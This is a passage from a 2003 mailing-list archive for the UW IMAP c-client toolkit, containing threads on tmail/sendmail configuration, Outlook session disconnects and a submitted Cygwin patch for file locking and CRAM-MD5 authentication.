charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=III, Probability=3%, Report='IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CD, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Freitag, 17. Oktober 2003 11:12 Uhr -0700 Steve Hubert=20 wrote: > On Fri, 17 Oct 2003, Sebastian Hagedorn wrote: > >> > ;; This is something that you need to fix. Are you setting E=3D\r\n? >> >> oops, no, I didn't. I fixed that, but it was hard to do (you can't use >> the m4 macros) and the current, third edition of the bat book has this >> to say on pg. 729: > > Only responding to the narrow point above, > > define(`LOCAL_MAILER_EOL', `\r\n') Thanks, I overlooked that one. Cheers, Sebastian --=20 Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Fri Oct 17 11:35:04 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 11:35:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIZ4lU031082 for ; Fri, 17 Oct 2003 11:35:04 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIZ2OA026597 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 11:35:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HIYuXU076976; Fri, 17 Oct 2003 11:34:57 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIYNfc024462 for ; Fri, 17 Oct 2003 11:34:23 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIYLpX015110 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Oct 2003 11:34:22 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIY70Y015067; Fri, 17 Oct 2003 11:34:08 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIY71d002082; Fri, 17 Oct 2003 11:34:07 -0700 Message-Id: Date: Fri, 17 Oct 2003 11:34:07 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: Re: tmail/sendmail integration In-Reply-To: <2147483647.1066420988@tyrion.rrz.uni-koeln.de> References: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Oct 2003, Sebastian Hagedorn wrote: > "Delivery agents that do not speak SMTP (those that include a $u in the A= > argument array) should have their end-of-line field set to E=\n (for a lone > line-feed character)." That statement must assume that all mailboxes on UNIX use UNIX-style LF-only newlines. That is not the case with mbx format, and therefore does not apply to mbx format. Or rather, consider that tmail's requirements supercede anything that the bat book says. > Oct 17 19:53:10 kerberos tmail[23304]: attempting to create mailbox > #driver.mbx/INBOX path /home/hgd/mail/INBOX > Oct 17 19:53:10 kerberos tmail[23304]: Can't create /home/hgd/mail/INBOX: > invalid name Are you setting any of the restrictBox options (or using a third-party distribution that sets a restrictBox option)? If so, unset it. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 17 11:54:45 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 11:54:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIsilU031886 for ; Fri, 17 Oct 2003 11:54:44 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIsgqm009053 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 11:54:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HIscSa032604; Fri, 17 Oct 2003 11:54:38 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIs1fc069452 for ; Fri, 17 Oct 2003 11:54:01 -0700 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HIrx5J017727 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Oct 2003 11:54:00 -0700 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HIrnDX022067; Fri, 17 Oct 2003 20:53:49 +0200 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9HIrnS5027095; Fri, 17 Oct 2003 20:53:49 +0200 Message-Id: <2147483647.1066424029@tyrion.rrz.uni-koeln.de> Date: Fri, 17 Oct 2003 20:53:49 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: tmail/sendmail integration In-Reply-To: References: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=III, Probability=3%, Report='IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CD, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, --On Freitag, 17. Oktober 2003 11:34 Uhr -0700 Mark Crispin=20 wrote: > On Fri, 17 Oct 2003, Sebastian Hagedorn wrote: >> "Delivery agents that do not speak SMTP (those that include a $u in the >> A=3D argument array) should have their end-of-line field set to E=3D\n = (for >> a lone line-feed character)." > > That statement must assume that all mailboxes on UNIX use UNIX-style > LF-only newlines. That is not the case with mbx format, and therefore > does not apply to mbx format. Or rather, consider that tmail's > requirements supercede anything that the bat book says. fair enough. With the hint that Steve Hubert gave me I'm a happy camper. >> Oct 17 19:53:10 kerberos tmail[23304]: attempting to create mailbox >> # driver.mbx/INBOX path /home/hgd/mail/INBOX >> Oct 17 19:53:10 kerberos tmail[23304]: Can't create = /home/hgd/mail/INBOX: >> invalid name > > Are you setting any of the restrictBox options (or using a third-party > distribution that sets a restrictBox option)? If so, unset it. OK, that finally did the trick. I gather I'm fine using imapd and ipop3d=20 compiled *with* restrictBox together with tmail compiled *without* it? Thanks very much for your help. --=20 Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Fri Oct 17 13:24:45 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 17 Oct 2003 13:24:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HKOilU003443 for ; Fri, 17 Oct 2003 13:24:44 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HKOgOA030386 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 17 Oct 2003 13:24:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9HKObvE018112; Fri, 17 Oct 2003 13:24:37 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HKNafc053362 for ; Fri, 17 Oct 2003 13:23:36 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HKNYpX016886 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 17 Oct 2003 13:23:35 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HKNJMk025622; Fri, 17 Oct 2003 13:23:19 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9HKNISS028204 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 17 Oct 2003 13:23:18 -0700 Message-Id: Date: Fri, 17 Oct 2003 13:23:20 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: Re: tmail/sendmail integration In-Reply-To: <2147483647.1066424029@tyrion.rrz.uni-koeln.de> References: <2147483647.1066413244@tyrion.rrz.uni-koeln.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 17 Oct 2003, Sebastian Hagedorn wrote: > fair enough. With the hint that Steve Hubert gave me I'm a happy camper. Great, thanks. > > Are you setting any of the restrictBox options (or using a third-party > > distribution that sets a restrictBox option)? If so, unset it. > OK, that finally did the trick. I gather I'm fine using imapd and ipop3d > compiled *with* restrictBox together with tmail compiled *without* it? Yes, you'll be fine. Today's imap-2003 development snapshot tarball has the bugfix to this problem, so in the future you won't have to tweak restrictBox specially for tmail. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Oct 20 10:56:21 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Oct 2003 10:56:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9KHuKlU026213 for ; Mon, 20 Oct 2003 10:56:20 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9KHuIOA001153 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 20 Oct 2003 10:56:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9KHuAXU094390; Mon, 20 Oct 2003 10:56:10 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9KHsSfc040930 for ; Mon, 20 Oct 2003 10:54:28 -0700 Received: from smtp1.Stanford.EDU (smtp1.Stanford.EDU [171.64.14.23]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9KHsRbn030374 for ; Mon, 20 Oct 2003 10:54:28 -0700 Received: from pangea.Stanford.EDU (pangea.Stanford.EDU [171.64.168.31]) by smtp1.Stanford.EDU (8.12.10/8.12.10) with ESMTP id h9KHsMd4005703 for ; Mon, 20 Oct 2003 10:54:23 -0700 (PDT) Received: from laurentia.stanford.edu (laurentia.Stanford.EDU [171.64.172.48]) by pangea.Stanford.EDU (8.12.7-20030918/8.12.7) with ESMTP id h9KHsLT5004926 for ; Mon, 20 Oct 2003 10:54:21 -0700 (PDT) Received: from pangea.Stanford.EDU (pangea.stanford.edu [171.64.168.31]) by laurentia.stanford.edu (8.12.10/8.12.10) with ESMTP id h9KHsKFO019157 for ; Mon, 20 Oct 2003 10:54:20 -0700 (envelope-from lanz@pangea.Stanford.EDU) Received: (from lanz@localhost) by pangea.Stanford.EDU (8.12.7-20030918/8.12.7) id h9KHsKqP006032 for c-client@u.washington.edu; Mon, 20 Oct 2003 10:54:20 -0700 (PDT) Message-Id: <200310201754.h9KHsKqP006032@pangea.Stanford.EDU> Date: Mon, 20 Oct 2003 10:54:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kai Lanz To: c-client@u.washington.edu Subject: Outlook and IMAP: session disconnect X-PMX-Version: 4.0.4.76838 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __HAS_MSGID, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Our Microsoft Outlook 2002 users are encountering the situation described in the UW-IMAP FAQ: 7.19 Why did my POP or IMAP session suddenly disconnect? The syslog has the message: Killed (lost mailbox lock) user=... host=... We do see these entries in our syslog. The FAQ gives two possible explanations: 1. Certain poorly-designed clients routinely open multiple sessions to the same mailbox; 2. Another cause is a background "check for new mail" task which does its work by opening a POP session to server every few seconds. Anybody know which of these is the culprit with Outlook? Is there a work- around that will spare these users the annoyance of the "Your IMAP server has closed the connection" boxes? (Like a feature they can turn off to stop Outlook from opening multiple sessions, maybe?) -- Kai Lanz lanz@pangea.stanford.edu -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 20 11:17:05 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 20 Oct 2003 11:17:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9KIH5lU027334 for ; Mon, 20 Oct 2003 11:17:05 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9KIH2qm021482 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 20 Oct 2003 11:17:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9KIGsXU094208; Mon, 20 Oct 2003 11:16:54 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9KIFsfc007804 for ; Mon, 20 Oct 2003 11:15:54 -0700 Received: from rs7.luxsci.com (rs7.luxsci.com [65.61.162.24]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9KIFqFY026860 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 20 Oct 2003 11:15:53 -0700 Received: from luxsci.com (146-115-121-229.c3-0.smr-ubr2.sbo-smr.ma.cable.rcn.com [146.115.121.229]) (authenticated bits=0) by rs7.luxsci.com (8.12.10/8.12.10) with ESMTP id h9KIFiNb024905 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 20 Oct 2003 13:15:45 -0500 Message-Id: <3F942639.20401@luxsci.com> Date: Mon, 20 Oct 2003 14:15:21 -0400 Reply-To: kangas@luxsci.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Kangas To: Kai Lanz Cc: c-client@u.washington.edu Subject: Re: Outlook and IMAP: session disconnect In-Reply-To: <200310201754.h9KHsKqP006032@pangea.Stanford.EDU> References: <200310201754.h9KHsKqP006032@pangea.Stanford.EDU> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_LONG_SPARSE, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __MOZILLA_MSGID, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Kai Lanz wrote: > Our Microsoft Outlook 2002 users are encountering the situation > described in the UW-IMAP FAQ: > > 7.19 Why did my POP or IMAP session suddenly disconnect? The syslog > has the message: Killed (lost mailbox lock) user=... host=... > > We do see these entries in our syslog. The FAQ gives two possible > explanations: > > 1. Certain poorly-designed clients routinely open multiple sessions to > the same mailbox; > > 2. Another cause is a background "check for new mail" task which does > its work by opening a POP session to server every few seconds. > > Anybody know which of these is the culprit with Outlook? Is there a work- > around that will spare these users the annoyance of the "Your IMAP server > has closed the connection" boxes? (Like a feature they can turn off to > stop Outlook from opening multiple sessions, maybe?) Hello Kai, We have found that with Outlook, any other process opening a read-write connection to the same email folder will produce this error. [I.e., it is problem #2.] If you are just running a single Outlook process and nothing else [except your MTA] is accessing your email folders, then you will have no issue. We have not found any feature in Outlook that will make it handle these disconnects more easily. However, we have found that Mozilla Messenger DOES handle this situation very well and will automatically, and without warning dialogs, re-establish your IMAP connections after being broken by other processes. -Erik Kangas -- Erik Kangas, Ph.D. --- President of Lux Scientiae, Incorporated Lux Scientiae: 1-800-441-6612 46 Central Street FAX: 1-413-332-0598 Somerville, Massachusetts Cell: 1-617-596-9558 02143, United States of America AIM/ICQ/Yahoo Chat: Screen Name "luxsci" kangas@luxsci.com --- http://luxsci.com From pinedev@shivax2.cac.washington.edu Tue Oct 21 00:27:34 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Oct 2003 00:27:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9L7RUlU025753 for ; Tue, 21 Oct 2003 00:27:30 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9L7RSqm013436 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 21 Oct 2003 00:27:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9L7RNXU083816; Tue, 21 Oct 2003 00:27:23 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9L7Q5fc050438 for ; Tue, 21 Oct 2003 00:26:05 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9L7Q4QQ017350 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 21 Oct 2003 00:26:04 -0700 Received: from c000.snv.cp.net (h000.c000.snv.cp.net [209.228.32.64]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9L7PwO9025494 for ; Tue, 21 Oct 2003 00:26:03 -0700 Received: (cpmta 10583 invoked from network); 21 Oct 2003 00:25:58 -0700 Received: from 67.5.173.96 (HELO xppro8200) by smtp.backus.com (209.228.32.64) with SMTP; 21 Oct 2003 00:25:58 -0700 Message-Id: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> Date: Tue, 21 Oct 2003 00:26:52 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Abe Backus" To: Subject: Cygwin patches for 2002e MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_000F_01C3976A.097BC620" X-Sent: 21 Oct 2003 07:25:58 GMT X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XII, Probability=12%, Report='PRIORITY_NO_NAME, __CT, __CTYPE_HAS_BOUNDARY, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_VERSION, __NEXTPART_ALL, __NEXTPART_NORMAL, __OUTLOOK_MSGID_1, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C3976A.097BC620 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello, I'd like to submit a couple of patches for uw-imap. 1) the flock simulator for cygwin in flockcyg.c has the same limitations as the flock simulator for NT, so the code should only lock on one byte in the file. The person that brought this to my attention would prefer that the code lock the last possible byte in the file. 2) CRAM-MD5 wasn't working on cygwin Thanks! -Abe ------=_NextPart_000_000F_01C3976A.097BC620 Content-Type: application/octet-stream; name="uw-imap-2002e.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="uw-imap-2002e.patch" --- src/osdep/unix/flockcyg.c 2003-10-20 23:55:37.070753300 -0700=0A= +++ src/osdep/unix/flockcyg.c 2003-10-20 23:56:31.024223600 -0700=0A= @@ -10,7 +10,7 @@=0A= * Internet: MRC@CAC.Washington.EDU=0A= *=0A= * Date: 10 April 2001=0A= - * Last Edited: 25 April 2003=0A= + * Last Edited: 19 October 2003=0A= * =0A= * The IMAP toolkit provided in this Distribution is=0A= * Copyright 1988-2003 University of Washington.=0A= @@ -25,6 +25,8 @@=0A= * flocksim. Also, we don't test NFS either=0A= */=0A= =0A= +#include =0A= +=0A= #undef flock /* name is used as a struct for fcntl */=0A= =0C=0A= /* Emulator for flock() call=0A= @@ -38,14 +40,22 @@ int flocksim (int fd,int op)=0A= char tmp[MAILTMPLEN];=0A= int logged =3D 0;=0A= struct flock fl;=0A= - /* lock applies to entire file */=0A= - fl.l_whence =3D fl.l_start =3D fl.l_len =3D 0;=0A= + /* lock only applies to last possibly byte in the file */=0A= + fl.l_whence =3D SEEK_SET;=0A= + fl.l_start =3D LONG_MAX - 1;=0A= + fl.l_len =3D 1;=0A= fl.l_pid =3D getpid (); /* shouldn't be necessary */=0A= switch (op & ~LOCK_NB) { /* translate to fcntl() operation */=0A= case LOCK_EX: /* exclusive */=0A= + /* release any previous lock held */=0A= + fl.l_type =3D F_UNLCK;=0A= + fcntl(fd, F_SETLKW, &fl);=0A= fl.l_type =3D F_WRLCK;=0A= break;=0A= case LOCK_SH: /* shared */=0A= + /* release any previous lock held */=0A= + fl.l_type =3D F_UNLCK;=0A= + fcntl(fd, F_SETLKW, &fl);=0A= fl.l_type =3D F_RDLCK;=0A= break;=0A= case LOCK_UN: /* unlock */=0A= --- src/osdep/unix/log_cyg.c 2003-10-20 23:55:37.180129000 -0700=0A= +++ src/osdep/unix/log_cyg.c 2003-10-20 23:55:48.398950800 -0700=0A= @@ -28,10 +28,20 @@=0A= long loginpw (struct passwd *pw,int argc,char *argv[])=0A= {=0A= uid_t uid =3D pw->pw_uid;=0A= +=0A= + /* the CRAM-MD5 code flow doesn't call checkpw() */=0A= + if (auth_md5.server)=0A= + {=0A= + if (cyg_user) fs_give ((void **) &cyg_user);=0A= + cyg_user =3D cpystr(pw->pw_name);=0A= + }=0A= + else=0A= + {=0A= /* must be same user name as last checkpw() */=0A= - if (!(cyg_user && !strcmp (pw->pw_name,cyg_user))) return NIL;=0A= + if (!(cyg_user && !strcmp (pw->pw_name,cyg_user))) return NIL;=0A= /* do the ImpersonateLoggedOnUser() */=0A= - cygwin_set_impersonation_token (cyg_hdl);=0A= + cygwin_set_impersonation_token (cyg_hdl);=0A= + }=0A= =0A= return !(setgid (pw->pw_gid) || initgroups (cyg_user,pw->pw_gid) ||=0A= setuid (uid));=0A= ------=_NextPart_000_000F_01C3976A.097BC620-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Oct 21 06:32:37 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Oct 2003 06:32:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LDWblU004090 for ; Tue, 21 Oct 2003 06:32:37 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LDWZOA000928 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 21 Oct 2003 06:32:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9LDWTxs028108; Tue, 21 Oct 2003 06:32:30 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LDVUfc053764 for ; Tue, 21 Oct 2003 06:31:30 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LDVTbn002387 for ; Tue, 21 Oct 2003 06:31:29 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LDVSqm021341 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 21 Oct 2003 06:31:28 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LDVPhu001541; Tue, 21 Oct 2003 06:31:25 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu 